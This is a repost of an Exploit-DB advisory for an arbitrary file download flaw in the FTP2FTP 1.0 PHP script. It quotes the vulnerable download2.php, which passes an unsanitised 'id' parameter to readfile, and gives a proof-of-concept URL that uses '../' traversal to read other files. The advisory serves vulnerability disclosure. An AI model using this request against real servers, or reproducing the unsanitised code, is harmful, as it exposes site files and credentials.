FTP2FTP 1.0 – Arbitrary File Download - 体验盒子

作者： AkkuS

日期： 2018-07-18

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/45054/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

# Exploit Title: FTP2FTP 1.0 - Arbitrary File Download

# Dork: N/A

# Date: 18.07.2018

# Exploit Author: Özkan Mustafa Akkuş (AkkuS)

# Vendor Homepage: https://codecanyon.net/item/ftp2ftp-server-to-server-file-transfer-php-script/21972395

# Version: 1.0

# Category: Webapps

# Tested on: Kali linux

# Description : The "download2.php" is vulnerable in the admin panel.

The attacker can download and read all files known by the name via 'id' parameter.

====================================================

# Vuln file : /FTP2FTP/download2.php

1.<?php

2.$file = "tempFiles2/".$_GET['id'];

3.

4.

5.if (file_exists($file)) {

6. header('Content-Description: File Transfer');

7. header('Content-Type: application/octet-stream');

8. header('Content-Disposition: attachment; filename="'.basename($file).'"');

9. header('Expires: 0');

10.header('Cache-Control: must-revalidate');

11.header('Pragma: public');

12.header('Content-Length: ' . filesize($file));

13.readfile($file);

14.exit;

15. }

16. ?>

# PoC : http://sitenet/FTP2FTP/download2.php?id=../index.php